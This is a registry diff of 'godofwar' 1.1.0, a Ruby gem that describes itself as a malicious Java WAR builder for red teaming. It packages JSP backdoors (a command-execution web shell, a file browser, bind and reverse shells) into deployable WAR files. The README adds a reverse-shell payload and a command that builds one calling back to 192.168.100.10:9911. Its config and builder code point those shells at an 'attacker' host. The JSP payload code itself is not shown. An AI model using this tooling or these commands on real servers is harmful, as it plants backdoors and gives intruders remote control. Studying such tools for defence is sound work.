godofwar 1.0.1 → 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 02a2315d93cc609cc8995e7c53ed79e27eb19786371d99b6604b212e4c2a5d53
4
- data.tar.gz: feb713a3b750d8703371a5bacf60a525d5c16d3fe225247e5015fd14e6f8c464
3
+ metadata.gz: 10bc19a2578d15ba14d62be3a3181a1a58811262b4786d148c40427b212f738b
4
+ data.tar.gz: 7479441d79cc87cceba61edc2368f569cbf3efbccba00db00668f529e9c9fbd5
5
5
  SHA512:
6
- metadata.gz: 35891b78552023889a009222df08c8712a99516c2c72581722d8d1e1add71f5e6a45e2cf777afd102e8c05cbe291af13b30b7c2a8591ecf8f8833dc4267258a2
7
- data.tar.gz: 65fd0d1a175fb71a253c600b68db5a6877275bd733e72ac2931b31c7aa04039e98bec79032183c5e54437d9b550fc29b6520a034e2bf6ad49c9a46827e9cec1c
6
+ metadata.gz: 28ccb54673055e2eb62d8bd91190087562a7e72d8971edcab708c4c31fb5c337b5b89e9d41a5432225dcb3ff85fb9327e4589fb995e2eef522393358547ab05f
7
+ data.tar.gz: 003c4ecf9b34184ff948269d1b44168b926199bd9d4a89f5a3d853170e2424d2bbd53b5481342ad380344d367588ae6b297a3ea8d63d0155f54d5fdcbbfe0704
@@ -0,0 +1,58 @@
1
+ /.bundle/
2
+ /.yardoc
3
+ /_yardoc/
4
+ /coverage/
5
+ /doc/
6
+ /pkg/
7
+ /spec/reports/
8
+ /tmp/
9
+ ### Ruby template
10
+ *.gem
11
+ *.rbc
12
+ /.config
13
+ /coverage/
14
+ /InstalledFiles
15
+ /pkg/
16
+ /spec/reports/
17
+ /spec/examples.txt
18
+ /test/tmp/
19
+ /test/version_tmp/
20
+ /tmp/
21
+
22
+ # Used by dotenv library to load environment variables.
23
+ # .env
24
+
25
+ ## Specific to RubyMotion:
26
+ .dat*
27
+ .repl_history
28
+ build/
29
+ *.bridgesupport
30
+ build-iPhoneOS/
31
+ build-iPhoneSimulator/
32
+
33
+ ## Specific to RubyMotion (use of CocoaPods):
34
+ #
35
+ # We recommend against adding the Pods directory to your .gitignore. However
36
+ # you should judge for yourself, the pros and cons are mentioned at:
37
+ # https://guides.cocoapods.org/using/using-cocoapods.html#should-i-check-the-pods-directory-into-source-control
38
+ #
39
+ # vendor/Pods/
40
+
41
+ ## Documentation cache and generated files:
42
+ /.yardoc/
43
+ /_yardoc/
44
+ /doc/
45
+ /rdoc/
46
+
47
+ ## Environment normalization:
48
+ /.bundle/
49
+ /vendor/bundle
50
+ /lib/bundler/man/
51
+
52
+
53
+ # .idea
54
+ .idea/
55
+
56
+
57
+ # mpeltonen/sbt-idea plugin
58
+ .idea_modules/# JIRA pluginatlassian-ide-plugin.xml
data/README.md CHANGED
@@ -49,8 +49,9 @@ GodOfWar - Malicious Java WAR builder.
49
49
  - cmd_get
50
50
  - filebrowser
51
51
  - bind_shell
52
+ - reverse_shell
52
53
  - reverse_shell_ui
53
- - Configurable backdoor. (try `--host/-port`)
54
+ - Configurable backdoor. (try `--host/--port`)
54
55
  - Control over payload name.
55
56
  - To avoid malicious name after deployment to bypass URL name signatures.
56
57
 
@@ -89,7 +90,7 @@ $ godofwar -l
89
90
  │ ├── Settings: {"false"=>"No Settings required!"}
90
91
  │ ├── Usage: http://host/cmd.jsp?cmd=whoami
91
92
  │ ├── References: ["https://github.com/danielmiessler/SecLists/tree/master/Payloads/laudanum-0.8/jsp"]
92
- │ └── Local Path: /FULL/PATH/HERE/godofwar/payloads/cmd_get
93
+ │ └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/cmd_get
93
94
  ├── filebrowser
94
95
  │   └── Information:
95
96
  │ ├── Description: Remote file browser, upload, download, unzip files and native command execution
@@ -97,7 +98,7 @@ $ godofwar -l
97
98
  │ ├── Settings: {"false"=>"No Settings required!"}
98
99
  │ ├── Usage: http://host/filebrowser.jsp
99
100
  │ ├── References: ["http://www.vonloesch.de/filebrowser.html"]
100
- │ └── Local Path: /FULL/PATH/HERE/godofwar/payloads/filebrowser
101
+ │ └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/filebrowser
101
102
  ├── bind_shell
102
103
  │   └── Information:
103
104
  │ ├── Description: TCP bind shell
@@ -105,26 +106,48 @@ $ godofwar -l
105
106
  │ ├── Settings: {"port"=>4444, "false"=>"No Settings required!"}
106
107
  │ ├── Usage: http://host/reverse-shell.jsp
107
108
  │ ├── References: ["Metasploit - msfvenom -p java/jsp_shell_bind_tcp"]
108
- │ └── Local Path: /FULL/PATH/HERE/godofwar/payloads/bind_shell
109
+ │ └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/bind_shell
109
110
  ├── reverse_shell_ui
110
111
  │   └── Information:
111
- │ ├── Description: TCP reverse shell with a UI to set LHOST and LPORT from browser.
112
- │ ├── OS: windows
112
+ │ ├── Description: TCP reverse shell with a HTML form to set LHOST and LPORT from browser.
113
+ │ ├── OS: any
113
114
  │ ├── Settings: {"host"=>"attacker", "port"=>4444, "false"=>"No Settings required!"}
114
115
  │ ├── Usage: http://host/reverse_shell_ui.jsp
115
116
  │ ├── References: []
116
- │ └── Local Path: /FULL/PATH/HERE/godofwar/payloads/reverse_shell_ui
117
+ │ └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/reverse_shell_ui
118
+ ├── reverse_shell
119
+ │   └── Information:
120
+ │ ├── Description: TCP reverse shell. LHOST and LPORT are hardcoded
121
+ │ ├── OS: any
122
+ │ ├── Settings: {"host"=>"attacker", "port"=>4444, "false"=>"No Settings required!"}
123
+ │ ├── Usage: http://host/reverse_shell.jsp
124
+ │ ├── References: []
125
+ │ └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/reverse_shell
117
126
  ```
118
127
 
119
128
  **Generate payload with LHOST and LPORT**
120
129
  ```
121
- godofwar -p reverse_shell_ui -H 192.168.100.10 -P 9911 -o puppy
130
+ godofwar -p reverse_shell -H 192.168.100.10 -P 9911 -o puppy
122
131
  ```
132
+ After deployment, you can visit your shell on (http://host:8080/puppy/puppy.jsp)
123
133
 
124
134
  ## Contributing
125
135
 
126
- Bug reports and pull requests are welcome on GitHub at https://github.com/[USERNAME]/godofwar.
127
-
136
+ 1. Fork it ( https://github.com/KINGSABRI/godofwar/fork ).
137
+ 2. Create your feature branch (git checkout -b my-new-feature).
138
+ 3. Commit your changes (git commit -am 'Add some feature').
139
+ 4. Push to the branch (git push origin my-new-feature).
140
+ 5. Create a new Pull Request.
141
+
142
+ ### Add More Backdoors
143
+ To contribute by adding more backdoors:
144
+ 1. create a new folder under `payloads` directory.
145
+ 2. put your `jsp` file under the newly created directory (make it the same directory name).
146
+ 3. update `payloads_info.json` file with
147
+ 1. description.
148
+ 2. supported operating system (try to make it universal though).
149
+ 3. configurations: default host and port.
150
+ 4. references: the payload origin or its creator credits.
128
151
 
129
152
  ## License
130
153
 
@@ -3,8 +3,6 @@
3
3
  # GodOfWare - A command-line tool to generate war payloads for penetration testing / red teaming purposes.
4
4
  # @Author: KING SABRI - @KINGSABRI
5
5
  #
6
- lib = File.expand_path("../../lib", __FILE__)
7
- $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
8
6
  require 'godofwar'
9
7
 
10
8
  options = OpenStruct.new(payload: nil, host: nil, port: nil,
@@ -17,22 +15,23 @@ option_parser.separator "\nHelp menu:".underline
17
15
  option_parser.on('-p', '--payload PAYLOAD',
18
16
  'Generates war from one of the available payloads.',
19
17
  "\t(check -l/--list)"
20
- ) {|v| options.payload = v}
18
+ ) { |v| options.payload = v }
21
19
 
22
20
  option_parser.on('-H', '--host IP_ADDR',
23
21
  'Local or Remote IP address for the chosen payload',
24
22
  "\t(used with -p/--payload)"
25
- ) {|v| options.host = v}
23
+ ) { |v| options.host = v }
26
24
  option_parser.on('-P', '--port PORT', Integer,
27
25
  'Local or Remote Port for the chosen payload',
28
26
  "\t(used with -p/--payload)"
29
- ) {|v| options.port = v}
27
+ ) { |v| options.port = v }
30
28
  option_parser.on('-o', "--output [FILE]",
31
29
  'Output file and the deployment name.',
32
30
  "\t(default is the payload original name. check '-l/--list')") do |v|
33
31
  options.output = v
34
32
  end
35
33
  option_parser.on('-l', '--list', 'list all available payloads.') { |v| options.list = v }
34
+ option_parser.on('-v', '--version', 'Show the current version.') { |v| options.version = v }
36
35
  option_parser.on('-h', '--help', 'Show this help message') {puts GodOfWar::Utils.banner , option_parser; exit!}
37
36
 
38
37
  begin
@@ -40,6 +39,8 @@ begin
40
39
  payloads = GodOfWar::Payloads.new
41
40
 
42
41
  case
42
+ when options.version
43
+ puts "GodOfWar v#{GodOfWar::VERSION}"
43
44
  when options.list
44
45
  puts payloads.list_tree
45
46
  when options.payload
@@ -9,17 +9,17 @@ Gem::Specification.new do |spec|
9
9
  spec.authors = ["KINGSABRI"]
10
10
  spec.email = ["king.sabri@gmail.com"]
11
11
 
12
- spec.summary = %q{Evil war builder for hackers with built-in war payloads.}
12
+ spec.summary = %q{GodOfWar - Malicious Java WAR builder}
13
13
  spec.description = %q{Evil war builder for hackers with built-in war payloads.}
14
14
  spec.homepage = "https://github.com/KINGSABRI/godofwar"
15
15
  spec.license = "MIT"
16
16
 
17
- spec.files = Dir.glob("**/*")
18
- spec.bindir = "bin"
19
- spec.executables = ["godofwar"]
20
- spec.require_paths = ["lib"]
17
+ spec.files = `git ls-files -z`.split("\x0").reject {|f| f.match(%r{^(test|spec|features)/})}
18
+ spec.bindir = 'bin'
19
+ spec.executables = ['godofwar']
20
+ spec.require_paths = ['lib']
21
21
 
22
- spec.add_dependency 'rubyzip'
22
+ spec.add_dependency 'rubyzip', '~> 1.2'
23
23
 
24
24
  spec.metadata["homepage_uri"] = spec.homepage
25
25
  spec.metadata["source_code_uri"] = "https://github.com/KINGSABRI/godofwar"
@@ -78,10 +78,12 @@ module GodOfWar
78
78
  MANIFEST
79
79
 
80
80
  File.write(manifest_mf_path, manifest_mf)
81
- puts "#{File.join(@war_dir, 'META-INF', 'MANIFEST.MF')}".step_success
81
+ puts "#{manifest_mf_path}".step_success
82
82
  end
83
83
 
84
84
  def set_payload(host, port)
85
+ puts "Setting up payload:".tell
86
+
85
87
  payload_file = File.join(@payload.path, "#{@payload.name}.jsp")
86
88
 
87
89
  if @payload.conf.empty?
@@ -90,11 +92,12 @@ module GodOfWar
90
92
  host = host.nil? ? @payload.conf["host"] : host
91
93
  port = port.nil? ? @payload.conf["port"] : port
92
94
  payload_raw = File.read(payload_file)
93
- .sub('HOSTHOST', "#{host}").sub('PORTPORT', "#{port}")
95
+ .sub('HOSTHOST', "#{host}")
96
+ .sub('PORTPORT', "#{port}")
94
97
  end
98
+ puts "#{@payload.name}.jsp ⟿ #{@output}.jsp".step_success
95
99
  File.write(File.join(@output, "#{@output}.jsp"), payload_raw)
96
- puts "Setting up payload:".tell
97
- puts "#{File.join(@war_dir, @payload.name)}.jsp".step_success
100
+ puts "#{File.join(@war_dir, @output)}.jsp".step_success
98
101
  end
99
102
 
100
103
  # build_war build the WAR file by recursively the source directory content then zip it
@@ -71,20 +71,20 @@ module GodOfWar
71
71
  #
72
72
  def list_tree
73
73
  payloads_parse.map do |payload|
74
- if payload.conf["true"]
75
- payload.conf = payload.conf.values.first
74
+ if payload.conf.empty?
75
+ payload.conf = 'No Settings required!'
76
76
  else
77
- payload.conf["false"] = 'No Settings required!'
77
+ payload.conf
78
78
  end
79
79
 
80
- "├── " + "#{payload.name}\n".bold +
81
- "│   └── Information:\n" +
82
- "│ ├── Description: #{payload.desc}\n" +
83
- "│ ├── OS: #{payload.os}\n" +
84
- "│ ├── Settings: #{payload.conf}\n" +
85
- "│ ├── Usage: #{payload.url}\n" +
86
- "│ ├── References: #{payload.ref}\n" +
87
- "│ └── Local Path: #{payload.path}"
80
+ "├── " + "#{payload.name}\n".bold +
81
+ "│   └── Information:\n" +
82
+ "│ ├── Description: #{payload.desc}\n" +
83
+ "│ ├── OS: #{payload.os}\n" +
84
+ "│ ├── Settings: #{payload.conf}\n" +
85
+ "│ ├── Usage: #{payload.url}\n" +
86
+ "│ ├── References: #{payload.ref}\n" +
87
+ "│ └── Local Path: #{payload.path}"
88
88
  end
89
89
  end
90
90
  end
@@ -1,3 +1,3 @@
1
1
  module GodOfWar
2
- VERSION = "1.0.1"
2
+ VERSION = "1.1.0"
3
3
  end
@@ -3,35 +3,35 @@
3
3
  "desc" : "Command execution via web interface",
4
4
  "os" : "any",
5
5
  "conf" : {},
6
- "url" : "http://host/cmd.jsp?cmd=whoami",
6
+ "url" : "http://host:8080/cmd/cmd.jsp?cmd=whoami",
7
7
  "ref" : ["https://github.com/danielmiessler/SecLists/tree/master/Payloads/laudanum-0.8/jsp"]
8
8
  },
9
9
  "filebrowser": {
10
10
  "desc" : "Remote file browser, upload, download, unzip files and native command execution",
11
11
  "os" : "any",
12
12
  "conf" : {},
13
- "url" : "http://host/filebrowser.jsp",
13
+ "url" : "http://host:8080/filebrowser/filebrowser.jsp",
14
14
  "ref" : ["http://www.vonloesch.de/filebrowser.html"]
15
15
  },
16
16
  "bind_shell": {
17
17
  "desc" : "TCP bind shell",
18
18
  "os" : "any",
19
19
  "conf" : {"port": 4444},
20
- "url" : "http://host/reverse-shell.jsp",
20
+ "url" : "http://host:8080/bind-shell/bind-shell.jsp",
21
21
  "ref" : ["Metasploit - msfvenom -p java/jsp_shell_bind_tcp"]
22
22
  },
23
23
  "reverse_shell_ui": {
24
24
  "desc" : "TCP reverse shell with a HTML form to set LHOST and LPORT from browser.",
25
25
  "os" : "any",
26
26
  "conf" : {"host": "attacker", "port": 4444},
27
- "url" : "http://host/reverse_shell_ui.jsp",
28
- "ref" : []
27
+ "url" : "http://host:8080/reverse_shell_ui/reverse_shell_ui.jsp",
28
+ "ref" : ["unknown"]
29
29
  },
30
30
  "reverse_shell": {
31
- "desc" : "TCP reverse shell. LHOST and LPORT are hardcoded",
31
+ "desc" : "TCP reverse shell, it runs once you brows the file. LHOST and LPORT are hardcoded",
32
32
  "os" : "any",
33
33
  "conf" : {"host": "attacker", "port": 4444},
34
- "url" : "http://host/reverse_shell.jsp",
35
- "ref" : []
34
+ "url" : "http://host:8080/reverse_shell/reverse_shell.jsp",
35
+ "ref" : ["unknown"]
36
36
  }
37
37
  }
metadata CHANGED
@@ -1,29 +1,29 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: godofwar
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.0.1
4
+ version: 1.1.0
5
5
  platform: ruby
6
6
  authors:
7
7
  - KINGSABRI
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2019-04-05 00:00:00.000000000 Z
11
+ date: 2019-04-16 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: rubyzip
15
15
  requirement: !ruby/object:Gem::Requirement
16
16
  requirements:
17
- - - ">="
17
+ - - "~>"
18
18
  - !ruby/object:Gem::Version
19
- version: '0'
19
+ version: '1.2'
20
20
  type: :runtime
21
21
  prerelease: false
22
22
  version_requirements: !ruby/object:Gem::Requirement
23
23
  requirements:
24
- - - ">="
24
+ - - "~>"
25
25
  - !ruby/object:Gem::Version
26
- version: '0'
26
+ version: '1.2'
27
27
  description: Evil war builder for hackers with built-in war payloads.
28
28
  email:
29
29
  - king.sabri@gmail.com
@@ -32,9 +32,9 @@ executables:
32
32
  extensions: []
33
33
  extra_rdoc_files: []
34
34
  files:
35
+ - ".gitignore"
35
36
  - CODE_OF_CONDUCT.md
36
37
  - Gemfile
37
- - Gemfile.lock
38
38
  - README.md
39
39
  - Rakefile
40
40
  - bin/godofwar
@@ -77,5 +77,5 @@ rubyforge_project:
77
77
  rubygems_version: 2.7.6
78
78
  signing_key:
79
79
  specification_version: 4
80
- summary: Evil war builder for hackers with built-in war payloads.
80
+ summary: GodOfWar - Malicious Java WAR builder
81
81
  test_files: []
@@ -1,19 +0,0 @@
1
- PATH
2
- remote: .
3
- specs:
4
- godofwar (0.1.1)
5
- rubyzip
6
-
7
- GEM
8
- remote: https://rubygems.org/
9
- specs:
10
- rubyzip (1.2.2)
11
-
12
- PLATFORMS
13
- ruby
14
-
15
- DEPENDENCIES
16
- godofwar!
17
-
18
- BUNDLED WITH
19
- 2.0.1